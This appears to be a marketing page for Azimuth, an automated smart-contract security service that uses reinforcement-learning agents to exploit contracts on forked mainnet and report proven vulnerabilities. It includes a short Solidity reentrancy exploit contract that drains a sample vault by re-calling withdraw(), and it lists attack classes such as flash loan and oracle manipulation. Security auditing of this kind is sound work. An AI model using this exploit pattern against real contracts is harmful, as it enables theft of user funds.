AI Agents That Actively Attack Your Smart Contracts
Running against forked mainnet environments with real transaction execution, Azimuth probes every function, chains multi-step attacks, and proves exploits end-to-end. If Azimuth reports a vulnerability, it was actually exploited — not just theoretically possible.
Azimuth — Automated Security Analysis
Azimuth deploys AI agents — powered by Lodestar, our reinforcement learning engine — that actively attack your smart contracts. Running against forked mainnet environments with real transaction execution, Azimuth probes every function, chains multi-step attacks, and proves exploits end-to-end. If Azimuth reports a vulnerability, it was actually exploited — not just theoretically possible.
withdraw() function sends ETH to the caller before updating internal accounting state. An attacker can deploy a malicious contract that re-enters withdraw() during the ETH transfer, draining the vault in a single transaction.// SPDX-License-Identifier: MIT pragma solidity ^0.8.19; import "./PrimeVault.sol"; contract ReentrancyExploit { PrimeVault public vault; uint256 public attackCount; constructor(address _vault) {
vault = PrimeVault(_vault);
} function attack() external payable {
vault.deposit{value: msg.value}();
vault.withdraw();
} receive() external payable { if (attackCount < 10) {
attackCount++;
vault.withdraw();
}
}
}pendingReward() function can overflow when computing accumulated rewards for accounts with very large staking durations combined with high reward rates. Results in denial of service for affected accounts — rewards become unclaimable.Submit. Fork. Attack. Report.
Submit
Point Azimuth at any contract address or GitHub repo. Works with deployed contracts or pre-deployment code.
Fork & Attack
Azimuth forks live mainnet state and deploys RL agents powered by Lodestar. Agents chain multi-step attacks, probing every function and state transition.
Report
Every finding includes a working proof-of-concept exploit. Zero false positives — if Azimuth reports it, it was actually exploited.
Behavioral vulnerabilities that static analysis misses
Azimuth discovers exploit paths through execution, not pattern matching. These vulnerability classes require understanding contract state across sequences of transactions — exactly what LLMs and static analyzers cannot do.
Reentrancy
Detects recursive call exploits across single and cross-function patterns, including read-only reentrancy.
Flash Loan Attacks
Discovers multi-step flash loan sequences that manipulate prices, drain pools, or exploit composability gaps.
Access Control
Finds privilege escalation paths, unprotected admin functions, and misconfigured role hierarchies.
Oracle Manipulation
Identifies price feed exploits, TWAP manipulation windows, and stale oracle dependencies.
Economic Logic Flaws
Uncovers broken incentive structures, sandwich attack vectors, and arbitrage-exploitable pricing curves.
Governance Attacks
Tests voting manipulation, quorum exploitation, timelock bypasses, and proposal hijacking scenarios.
Minutes, not months
Azimuth is not a replacement for human auditors — it is a continuous security layer that catches what point-in-time audits cannot.
Security at every stage
From first commit to production monitoring, Azimuth fits into your existing workflow.
Run Azimuth before deploying to mainnet. Catch exploitable vulnerabilities while fixes are still cheap.
Integrate via GitHub Actions or CLI. Every pull request automatically tested for security regressions.
Post-deployment, Azimuth continuously re-analyzes as proxy contracts upgrade and external dependencies change.
Exchanges, VCs, and protocols use Azimuth to evaluate token and protocol risk before listing or investing.
Powered by Lodestar
Lodestar is TestMachine's proprietary reinforcement learning engine. Unlike LLMs that pattern-match against known vulnerability templates, Lodestar agents learn by doing — interacting with smart contracts through thousands of transaction sequences, receiving reward signals when exploits succeed, and adapting their strategies to each contract's unique logic.
Every major EVM chain
One engine. Full coverage. Every chain analyzed with the same depth and rigor.
Secure your protocol today
RL-powered security analysis with zero false positives. Every finding includes a working proof-of-concept exploit.
Run Azimuth Analysis